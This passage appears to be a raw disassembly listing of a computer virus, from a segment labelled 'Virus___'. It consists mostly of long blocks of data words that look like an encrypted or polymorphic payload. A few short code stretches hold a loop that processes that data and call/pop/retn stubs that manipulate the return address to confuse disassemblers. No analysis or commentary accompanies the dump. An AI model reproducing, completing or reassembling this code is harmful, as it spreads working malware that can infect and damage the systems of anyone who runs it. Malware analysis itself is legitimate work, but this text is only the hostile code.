		dd 46000000h, 689EC356h, 0BB63BDA8h, 0BAD96F7h,	18A0Fh
		dd 31F90000h, 1B2259B5h, 4E807h, 3FF0000h, 8B66001Fh, 10E850F9h
		dd 68000000h, 0FC6B2B7Fh, 649F4766h, 0A759DE1h,	5B0B0541h
		dd 424448Bh, 8B95B7h, 3800Fh, 8B660000h, 244489D9h, 6A5804h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 69CB23C3h, 3714A43Bh, 4E995FFh, 0BD8B071Bh, 71B17F9h
		dd 0ABC88589h, 6A071Eh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 0F48F21C3h, 0FAE1E69h, 58Eh, 3A58BB00h
		dd 0F3E91826h, 8B000001h, 1EABC085h, 6860F07h, 89000000h
		dd 1B188D9Dh, 1800C707h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0F8BC355h
		dd 0F60DEB7h, 8B0FFABFh, 3, 61D8B70Fh, 0ABC4B58Bh, 6A071Eh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 5A5CE5C3h, 850F1123h, 7, 5BF9BF51h, 0BF5B0BE8h, 52C96634h
		dd 8BD98B66h, 1B014985h, 0C1BD8B07h, 89071B08h,	68C0F06h
		dd 89000000h, 1B185985h, 0E5858B07h, 6A071B30h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 6D04C357h, 0E95620E8h, 0E1FDBBAAh, 12E8181Ch, 1F000000h
		dd 9D52C21Dh, 0A31798A8h, 396DE772h, 887CCE4Bh,	69DB8172h
		dd 5B760DA6h, 56044689h, 965B5F51h, 52505250h, 310F5B57h
		dd 585AFA8Bh, 8D0F310Fh, 3, 5ADE8B66h, 0FE8B5058h, 56006A96h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 47CB0113h, 6919466Ah, 2810F09h, 8A000000h, 0C0B5FFFAh
		dd 6A071EABh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0E54AC352h, 3CFCBB66h,	1B1D9D8Bh
		dd 4E8071Bh, 0FF000000h, 50001F03h, 424448Bh, 8BFE8B66h
		dd 58B0F00h, 0BF000000h, 37DA8959h, 4244489h, 0FB8B5360h
		dd 0CF8A6058h, 6161FC8Ah, 95BD8B58h, 8D071B04h,	1EABC885h
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 800FBFFFh, 3, 60D98B66h,	0FD8D2960h, 80071B09h
		dd 8961C5CDh, 1B2E4595h, 66506107h, 89DB39BBh, 85892404h
		dd 71B2A5Dh, 4E995FFh, 2357071Bh, 1B18059Dh, 52615F07h
		dd 28D5BD33h, 0C75F071Bh, 1B18CD85h, 307h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
		dd 0D88B6CCDh, 0ABC8BD83h, 0F00071Eh, 4784h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 8C94617Fh, 3DE904h, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 26F904C3h, 21208993h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 66C08B00h
		dd 66C4BCBFh, 0BD83D98Bh, 71B18CDh, 0DA850F03h,	6A000003h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0E6FFC350h, 8CEFE606h, 0F040411h,	0BD83FABFh
		dd 71EABC8h, 0A6840F00h, 81000003h, 3E6A42D7h, 9D9D292Bh
		dd 0FF071B21h, 1EABC8B5h, 0A595FF07h, 9071B09h,	1B149185h
		dd 0BCB58B07h, 0B071EABh, 1B3501BDh, 106C707h, 6A000100h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 0CC64C350h, 0F60579Fh, 9E9D0BFh, 0B9000000h
		dd 0A510A3FDh, 1641DD92h, 81665F61h, 963BDACBh,	5FF88B52h
		dd 14E99650h, 0E000000h, 79EDA472h, 9B23846Ch, 0A435DE3Bh
		dd 2C3B319Eh, 0FF253766h, 1EABC8B5h, 6195FF07h,	6A071B35h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0CEBAC350h, 2B7B39BDh, 1B1475BDh,	0BCB58B07h
		dd 6A071EABh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 6DFAC355h, 0E226968Eh,	9D8BAD41h
		dd 71B30B5h, 411858Bh, 6A071Bh,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 79FA11C3h, 0C48689h
		dd 0E9570000h, 13h, 0F9464AC0h,	0D1A3FC0h, 8A07EA89h, 73E43F8Ah
		dd 5F09705Ah, 13D38166h, 0B5958B3Eh, 8B071B29h,	4C283DFh
		dd 5231A7BBh, 2050896Bh, 2C51B589h, 858D071Bh, 71EBFF9h
		dd 8E9h, 0C5B89A00h, 1B644986h,	0B8868904h, 0E9000000h
		dd 6, 0EADD4553h, 6AFF13h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 49C35343h, 66932F39h,	0BC7AEB81h, 0F1BD2950h
		dd 5F071B11h, 0B6D8D89h, 0B5FF071Bh, 71EABC8h, 0FFF9B70Fh
		dd 1B09DD95h, 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 540FB874h, 50D0AE2Bh, 28898531h
		dd 8E9071Bh, 5F000000h,	5D1B0B2Bh, 9692ED1Fh, 310F5250h
		dd 0FE8h, 69451700h, 0D2B02CEDh, 0E3EC9401h, 2D4CC4CEh
		dd 310F5250h, 5A5B585Ah, 8C0F5058h, 4, 5E8CBB66h, 57006A96h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0B5FFEC37h, 71EABC8h, 0FFDABF0Fh, 1B034195h,	68F0F07h
		dd 8B000000h, 1B34719Dh, 0FEB70F07h, 2431BD83h,	0F00071Bh
		dd 3F84h, 859D3300h, 96071B27h,	0B750C6B7h, 6A96C5h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0C38139C3h, 799D8B80h, 60071B1Ah, 18D18D09h,	84BB071Bh
		dd 612AD4F6h, 0ABC8B5FFh, 0BD8B071Eh, 71B314Dh,	18A595FFh
		dd 6A071Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 79D693C3h, 54184187h, 13830FF2h, 0E9000000h
		dd 0Eh,	11FC6C31h, 4B6757D4h, 79AA48ECh, 0B5FF3E23h, 71EABC8h
		dd 21A7BFFCh, 95FF635Fh, 71B293Dh, 83DA8B66h, 1B28F1BDh
		dd 840F0207h, 69h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 9CC35141h, 8BDA8BE1h,	1B007D85h, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 1236CF04h, 9BC7D401h, 1181BF8Fh, 95314151h, 71B2D8Dh
		dd 0E90000C6h, 0Dh, 0DF948A91h,	5F0A5340h, 866D22E8h, 9185C721h
		dd 71B09h, 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 8570C353h, 896F8325h, 1B232DBDh
		dd 0F378E907h, 0C18BFFFFh, 1823F7BFh, 7E909h, 289D0000h
		dd 0B33F6F46h, 55858D3Ch, 6A071B12h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 280EC352h
		dd 0DCD65C81h, 6650A2EFh, 489D88Bh, 56006A24h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 5DF7FBCh, 68672E19h
		dd 9501C60Bh, 71B0451h,	6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 95EB64C3h, 46C781C4h
		dd 6A30F9F9h, 6E900h, 0ABF40000h, 605F12DCh, 0E8C5858Dh
		dd 9E8071Fh, 5D000000h,	50C0C442h, 0ACD735A3h, 14E9h, 5B453900h
		dd 8682862Ch, 5C8CAC88h, 8F045273h, 0EC5B0511h,	8A0F5F38h
		dd 6, 0D87DE781h, 0C08329D8h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 84CA50F1h
		dd 24048950h, 27159D8Bh, 6A071Bh, 68B0Fh, 8D090000h, 71B1B81h
		dd 6A6DDB80h, 0EBE38100h, 0FF4F81A6h, 1B1EA995h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 83AE9C60h, 8D8D58AEh, 71E979Ch, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 3CC35242h, 7DDD9667h, 8B66D1FFh
		dd 5BD83DAh, 1071B21h, 0AD850Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0F18902C3h
		dd 95AE9646h, 81B84289h, 87FB3AE7h, 0E5C7800Ch,	0BB66026Ah
		dd 0BF90360Ah, 45F3DA4Ch, 0C8A0F50h, 0E9000000h, 7, 0DDB05D52h
		dd 9037F9A7h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 16h,	21C35343h, 0EE9013Eh, 17000000h, 132A834Ah, 0E5EAF73Fh
		dd 5BFC2ECCh, 0DD95FF45h, 6A071B09h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8B08C356h
		dd 1B0495BDh, 959D8B07h, 0E9071B23h, 0D4Ah, 0E8h, 0ED815D00h
		dd 71FE8CFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	1CC35343h, 33B41A8h, 1B27419Dh,	2858D07h, 66071E92h
		dd 9018E6BBh, 13A9BB66h, 12E950h, 81D0000h, 87BA075Ah
		dd 8FA44408h, 5D590BB1h, 0CFF529C5h, 0DA8B6690h, 35FF64h
		dd 51000000h, 14E9h, 1905DF00h,	0B68672Eh, 0F6AA4FC6h
		dd 0EEEC51BDh, 7B2BAFAAh, 89645FD6h, 25h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 5649D822h, 4E35A8D0h, 23B18D29h, 8589071Bh, 71B08A1h
		dd 264D85FFh, 6A071Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 0B0F1EBC3h, 0FF6AE761h, 0EE9h, 0AE13AB00h
		dd 3F062128h, 178F5A80h, 0FF91F050h, 1B0651B5h,	53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 12E88Ch, 0A4F00000h,	14DC55EBh, 0A82F884Fh, 8753EB7Ah
		dd 10A2B48Bh, 28E0Fh, 61600000h, 4595FF5Bh, 0E9071B2Fh
		dd 10Fh, 998D0B60h, 61071B0Bh, 8D8900B0h, 71B2D39h, 0B50170E6h
		dd 71B2259h, 96071E4h, 1B1C7DB5h, 59852907h, 61071B1Ch
		dd 8BDE8B60h, 1B24C195h, 613C6107h, 0D5830Fh, 0B70F0000h
		dd 0C8B60FFFh, 6BAh, 1BD2300h, 8B071B18h, 9D9D8BC1h, 50071B34h
		dd 4E8C15Fh, 218D9589h,	0F766071Bh, 9D8531E2h, 2B071B2Dh
		dd 0D9BF0FC8h, 0FCD18BF9h, 8D2DB81h, 94E90FD9h,	8A000000h
		dd 50858BDAh, 5047554Ch, 5BF88B66h, 0F07C083h, 681h, 499D8B00h
		dd 83071B12h, 0BD2300C0h, 71B2425h, 830FD03Bh, 20h, 10E9h
		dd 0A76ABE00h, 0DA2B70CCh, 0F8014E77h, 70F745EDh, 4DE9ACh
		dd 9D230000h, 71B25BDh,	0FFFF8D8Bh, 880FFFFFh, 0Bh, 58A0Fh
		dd 8BBF0000h, 834D9059h, 840F01E1h, 27h, 0AE9h,	96ECB900h
		dd 3BD8D4C4h, 830573E5h, 0FFFFFFA5h, 9589FEFFh,	47554C50h
		dd 355D9589h, 0E9071Bh,	8D000000h, 1F6A8BB5h, 6AFA8B07h
		dd 0C19D0B00h, 0FF071B2Eh, 1B128995h, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
		dd 1A7776A2h, 0E8693555h, 5, 0F69365F2h, 0DAB70FF4h, 0B90FB35Fh
		dd 0FC7h, 6AFCE183h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 0A742C351h, 3125C354h,	0B7EB1290h
		dd 0BD89FCB1h, 71B1205h, 0B808B3h
		dd 0BA000000h, 0
; ---------------------------------------------------------------------------
		clc


loc_589D09:				; CODE XREF: Virus___:00589D13j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_589D09
		push	0
		push	edx
		call	sub_589D20
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589D20	proc near		; CODE XREF: Virus___:00589D18p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_589D20	endp

; ---------------------------------------------------------------------------
		mov	esp, 99D02DD7h
		std
		retn
; ---------------------------------------------------------------------------
		db 0DCh
		dd 6AA20Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0D0B3B3C3h, 669B002Fh, 0BE83E64h,	0D000000h
		dd 0B13ED15Dh, 184FA404h, 8D8933E2h, 71B24B1h, 880D5Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 928DE2C3h, 958B4035h, 71B29B5h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0BBC35747h, 0FEDCB700h
		dd 8166455Ch, 8B7521C3h, 1B02F58Dh, 199D8907h, 50071B0Ah
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	52006A58h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 4790AC6Ch, 9D8B2A99h, 71B3041h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 0F7C35040h,	0BD839EC3h, 71B2165h
		dd 7F840F00h, 0E8000000h, 5, 37C50BBDh,	0ED9D8BBAh, 5F071B2Ah
		dd 2F8D8D89h, 0B8071Bh,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 9BD4C352h
		dd 518347DAh, 0B06021BAh, 2A3D9589h, 8D8D071Bh,	71B4F89h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 21C35747h
		dd 0FB09AEC2h, 0F532AD2h, 683h,	9DBD8B00h, 5B071B2Bh, 0BD83E1FFh
		dd 71B18CDh, 39840F00h,	0F000004h, 58Ah, 0DF816600h, 0BD83F35Eh
		dd 71B18CDh, 3C840F01h,	6A000004h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 5EF3C351h
		dd 0BD83F92Fh, 71B18CDh, 0DA860F03h, 8B000003h,	1B0D85BDh
		dd 10E86007h, 8C000000h, 8B5298FDh, 6B7DBB91h, 302A4E9Eh
		dd 89B7659Eh, 1B21AD85h, 8C665B07h, 50006AD9h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0B59D896Bh
		dd 80071B2Ah, 6A04E1h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 14745DC3h, 830F6D47h, 6,	31098589h
		dd 8509071Bh, 71B0D85h,	840FC90Ah, 0E3h, 8E9h, 0D9E7EE00h
		dd 1C617763h, 0E5858BAEh, 89071B30h, 1B18598Dh,	48F0F07h
		dd 66000000h, 33FBEBBFh, 1B305585h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0DA8B66D1h
		dd 0B6BB6650h, 2404897Ch, 1ABB006Ah, 0E9682670h, 5, 3D7627Dh
		dd 8BD76870h, 8B665B43h, 243481DFh, 5B5C8828h, 20E59D8Bh
		dd 0BD8B071Bh, 71B2691h, 4E995FFh, 6A071Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 9A207CC3h
		dd 25BD01F8h, 89071B34h, 1EABC885h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0AAC6ACDAh
		dd 0E3816637h, 9D8B22A3h, 71B0A25h, 1FDE9h, 0A19D8B00h
		dd 8B071B1Fh, 1EABC085h, 0FEB70F07h, 1800C7h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 9B6072C3h, 0D812B786h, 5BDF8B53h, 0ABC4B58Bh, 7E9071Eh
		dd 0F9000000h, 0EC3BF1C4h, 858B1918h, 71B0149h,	0C890Fh
		dd 8B600000h, 1B327995h, 19BB6607h, 689610Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 9DC35646h, 4652D2Ah
		dd 68E78166h, 0E5858B72h, 6A071B30h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 9A72C350h
		dd 35B58971h, 89071B13h, 0BD8B0446h, 71B260Dh, 3840F96h
		dd 66000000h, 5050D88Bh, 0FFA8B52h, 0E9525031h,	13h, 0D3C39AD4h
		dd 0FDEE29ACh, 36AC2A32h, 259CAD61h, 0F684FF4h,	12E831h
		dd 2D290000h, 1DD64FA2h, 1DFA3D73h, 0DBBF29CFh,	585FBA6Fh
		dd 5A585A5Fh, 6A9658h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 7369D3C3h, 41E9EF49h, 9589B06Ah
		dd 71B115Dh, 0FFDE8B66h, 1EABC0B5h, 0F8BF0F07h,	0B1C1968h
		dd 81D98B5Eh, 1FE62434h, 6A5E14h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0B13CBEC3h, 0AC4C15DAh
		dd 7E970h, 2B600000h, 81757AAAh, 0C8858DE7h, 6A071EABh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 57FC353h,	44CDC5F9h, 0D88B664Bh, 0E9525090h
		dd 0Eh,	5DE1A436h, 75A081Dh, 440887BAh,	310F8FA4h, 6050585Ah
		dd 0B6ECB7h, 6A9061h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 26A0F6C3h, 0F5B464C4h, 153D9D8Bh
		dd 95FF071Bh, 71B04E9h,	2975BD23h, 6061071Bh, 0E9D1BF0Fh
		dd 0Ah,	68417743h, 61C03B55h, 0C7619397h, 1B18CD85h, 307h
		dd 0C8BD8300h, 71EABh, 4F840Fh,	6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0E89F1BC3h
		dd 0D9B70F62h, 43E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 0DB802767h, 28C0F35h
		dd 8B000000h, 0C3050DEh, 11440011h, 10E8C101h, 2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 2A35BD33h, 6A071Bh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 66603AC3h, 8166D08Bh, 61A418E0h, 48C0Fh, 0BB660000h
		dd 9529FA98h, 71B26E9h,	18CDBD83h, 0F03071Bh, 39C85h, 0D9BD8900h
		dd 83071B0Ch, 1EABC8BDh, 840F0007h, 389h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 19h, 3C35343h, 693E3906h
		dd 11E8F0h, 7A40000h, 522B0814h, 0D71C780Ch, 0F370040Dh
		dd 8BC9EDF4h, 1B27399Dh, 0C7815F07h, 6BBC78E6h,	0ABC8B5FFh
		dd 0B589071Eh, 71B0999h, 9A595FFh, 9D8B071Bh, 71B0A89h
		dd 0ABBCB58Bh, 0DF81071Eh, 4848291Ah, 106C7h, 6A0001h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 9286BCC3h, 1BEBE2A0h, 0B5290B7Dh, 71B27C9h, 128E0F96h
		dd 0E9000000h, 0Dh, 0AC5083B8h,	0DAC5B4F4h, 0D377F541h
		dd 0FB8B50A0h, 5BD8B96h, 0FF071B13h, 1EABC8B5h,	52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 9CB740E3h, 38A0F57h,	66000000h, 95FFFE8Bh, 71B3561h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 75C35242h
		dd 71EB1009h, 0BBBBFB8Bh, 8B51C5FBh, 1EABBCB5h,	57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 42A032C3h, 6890Fh, 0B5890000h, 71B2FC9h, 38A0Fh, 0F7800000h
		dd 11858BDCh, 6A071B04h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 75CFC353h, 0B099EDC4h
		dd 148C0459h, 1FB18531h, 8689071Bh, 0C4h, 0B5958BF5h, 6A071B29h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h
		dd 2783C351h, 0C2839C1Eh, 51006A04h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 5E9F07Ah, 0BD000000h
		dd 9845245Bh, 8B205089h, 0F9858DDFh, 6A071EBFh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0CF35C353h, 53F698D1h, 805745E0h, 895BAAD3h,	0B886h
		dd 4D9D8B00h, 6A071B00h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 0CA5CB57Ch, 0DBE3E7E8h
		dd 0ABC8B5FFh, 6A071Eh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0A7C0D1C3h, 0ECD4F8E2h, 95FFF923h
		dd 71B09DDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	0CCC35141h, 0B80A329Dh,	6D60D781h, 8B964DE6h, 0F6050FEh
		dd 0D80h, 7E800h, 4D410000h, 0F607A657h, 3AB85B90h, 61115C11h
		dd 0C8B5FF96h, 66071EABh, 95FFDA8Bh, 71B0341h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0CCC35343h, 0BD8BACB5h
		dd 71B0B61h, 2431BD83h,	0F00071Bh, 3384h, 0D98B6600h, 0EE9h
		dd 5062CC00h, 0BE308A15h, 0FA1219D1h, 96D667FCh, 965F5150h
		dd 12810Fh, 870F0000h, 0Ch, 7E9h, 20A22400h, 5C7C6200h
		dd 0ABC8B5FFh, 8166071Eh, 0FF6148F3h, 1B18A595h, 0DA8B6607h
		dd 0ABC8B5FFh, 0FFF8071Eh, 1B293D95h, 45BD8907h, 83071B1Ch
		dd 1B28F1BDh, 840F0207h, 25h, 48F0Fh, 0BF660000h, 858BA3DBh
		dd 71B007Dh, 2A119D89h,	0C6071Bh, 75BD8B00h, 0F071B06h
		dd 81h,	9185C700h, 71B09h, 0B3000000h, 0F3F0E962h, 6AFFFFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 6AB267C3h, 0C18B0A83h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 69C35141h, 12E96003h,	5B000000h, 51A93604h
		dd 826A2BA0h, 0DD6BAA82h, 0A8A96FE0h, 618BB2E4h, 21C1B589h
		dd 858D071Bh, 71B1255h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 9CC35747h, 8A505994h,	240489FAh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0EAC35343h, 50C80E45h
		dd 2DB18D89h, 895B071Bh, 1B149185h, 6A006A07h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 6A85C355h, 12E800h, 56030000h, 0CFD3B4DAh, 8794328Fh
		dd 931FA372h, 3588B510h, 6860Fh, 8D290000h, 71B059Dh, 17858D5Bh
		dd 8B071FF8h, 1B15EDBDh, 5C08307h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 32C35040h, 95298DD3h, 71B2775h
		dd 0E8606050h, 9, 26A1667Eh, 64423D4Bh,	0D68B5B9Ah, 4896161h
		dd 56006A24h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 14CF3280h, 3129BD31h, 0BD8B071Bh, 71B2C5Dh
		dd 8B60006Ah, 8E9D8h, 13910000h, 0F33B1E2Ch, 6A61F4D1h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 0B3ABA9E0h, 95FF6768h, 71B1EA9h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0BC35040h, 21799D8Bh
		dd 8D8D071Bh, 71E979Ch,	20C58589h, 0D1FF071Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 93C35242h, 64A7D2E6h
		dd 5BD8369h, 1071B21h, 57850Fh,	8D290000h, 71B2B25h, 8950026Ah
		dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 97D194C3h, 382B7EC3h, 1F959D8Bh, 12E9071Bh
		dd 99000000h, 9B169B10h, 782AC62Ch, 982E301Ah, 0D7838DADh
		dd 0DD95FFDAh, 89071B09h, 1B2CE5BDh, 0E55E907h,	0E80000h
		dd 5D000000h, 0F821ED81h, 6A071Fh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 1851F1C3h, 1FE88160h
		dd 31474F87h, 1B228D85h, 858D6107h, 71E9202h, 12FD8D29h
		dd 6050071Bh, 60F18B66h, 656EB866h, 4896161h, 56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 3419DBC1h, 9E9h, 258D4700h, 0C19DD59Bh, 0BF5632E7h
		dd 4661F6C4h, 35FF645Fh, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_58AA1F
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58AA1F	proc near		; CODE XREF: Virus___:0058AA17p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_58AA1F	endp

; ---------------------------------------------------------------------------
		db 50h
		dd 0C39D4F3h, 66832669h, 589BD89h, 8964071Bh, 25h, 0E9858900h
		dd 0FF071B17h, 1B264D85h, 0A19D8B07h, 6A071B22h, 57006AFFh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0F2B4359h, 3694A321h, 0BB66BFB9h, 9531D23Ch,	71B267Dh
		dd 2DE1B5FFh, 9589071Bh, 71B0945h, 2F4595FFh, 2FE9071Bh
		dd 8B000001h, 1B24399Dh, 0E900B007h, 8,	56A42D83h, 0B3D25A05h
		dd 890F70E6h, 6, 29198589h, 0BF0F071Bh,	0E871E4FFh, 13h
		dd 0ACCBB840h, 48F295E1h, 0E8F01160h, 855EA9CDh, 0F77E4C3h
		dd 683h, 8D858900h, 5B071B2Fh, 830F613Ch, 0DAh,	9927EF81h
		dd 60606A13h, 49D8D8Bh,	958B071Bh, 71B2579h, 0D858961h
		dd 61071B31h, 89C8B60Fh, 1B16B18Dh, 6BA07h, 95090000h
		dd 71B0B7Dh, 0B589C18Bh, 71B188Dh, 8904E8C1h, 1B08D585h
		dd 0E2F76607h, 2DED8529h, 0C82B071Bh, 318D8960h, 8B071B23h
		dd 1B042585h, 0D18B6107h, 77E9D98Bh, 0F000000h,	0C80h
		dd 7E900h, 5CA50000h, 9E000C1Ah, 49858B75h, 8944004Eh
		dd 1B0D8595h, 7C08307h,	2E359D8Bh, 0C083071Bh, 0FD03B00h
		dd 1083h, 0BF0F5100h, 3BE95FFFh, 8B000000h, 1B352DBDh
		dd 0FF8D8B07h, 81FFFFFFh, 9F1D12F3h, 1E18312h, 20840Fh
		dd 9D290000h, 71B2161h,	0FFFFA583h, 89FEFFFFh, 4E4995h
